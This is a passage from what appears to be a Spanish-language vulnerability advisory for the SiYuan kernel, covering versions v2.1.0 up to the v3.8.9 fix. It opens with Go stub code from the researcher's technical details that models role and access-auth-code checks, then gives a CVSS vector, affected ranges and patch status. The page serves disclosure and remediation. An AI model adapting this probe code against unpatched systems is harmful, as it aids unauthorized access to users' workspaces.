	RoleAdministrator Role = iota
	RoleEditor
	RoleReader
	RoleVisitor
)

const RoleContextKey = "role"

type probeAPIConfig struct{ Token string }
type probeAPIValue struct{}

func (probeAPIValue) Load() *probeAPIConfig { return &probeAPIConfig{} }

type probeOIDCConfig struct{ Enabled bool }
type probeConfig struct {
	AccessAuthCode string
	Lang            string
	Api             probeAPIValue
}

func (c *probeConfig) Language(code int) string {
	switch code {
	case 21:
		return "captcha required"
	case 22:
		return "invalid captcha"
	case 83:
		return "invalid auth code"
	case 258:
		return "save failed"
	case 354:
		return "locked"
	case 156:
		return "unauthorized"
	default:
		return "message"
	}
}

func (c *probeConfig) GetOIDC() *probeOIDCConfig { return &probeOIDCConfig{} }

var Conf = NewAppConf()

func NewAppConf() *probeConfig { return &probeConfig{} }

var MaskedAccessAuthCode = "*******"

func IsAccessAuthRequired() bool { return Conf.AccessAuthCode != "" || Conf.GetOIDC().Enabled }

func IsWorkspaceSessionAuthenticated(workspaceSession *util.WorkspaceSession) bool {
	return workspaceSession != nil && Conf.AccessAuthCode != "" && util.AuthCodeEquals(Conf.AccessAuthCode, workspaceSession.AccessAuthCode)
}

func IsValidRole(role Role, allowed []Role) bool {
	for _, candidate := range allowed {
		if candidate == role {
			return true
		}
	}
	return false
}

func GetGinContextRole(c *gin.Context) Role {
	if c == nil {
		return RoleVisitor
	}
	if role, exists := c.Get(RoleContextKey); exists {
		if value, ok := role.(Role); ok {
			return value
		}
	}
	return RoleVisitor
}

func IsAdminRoleContext(c *gin.Context) bool { return GetGinContextRole(c) == RoleAdministrator }

func IsReadOnlyRoleContext(*gin.Context) bool { return false }

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
github.com/siyuan-note/siyuan/kernel≥ v2.1.0 < v3.8.9
v2.1.0
v3.8.9
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/siyuan-note/siyuan/kernel
Corregida v3.8.9 — —
Versiones corregidasv3.8.9
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/siyuan-note/siyuan/security/advisories/GHSA-23g4-vqq8-5764

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.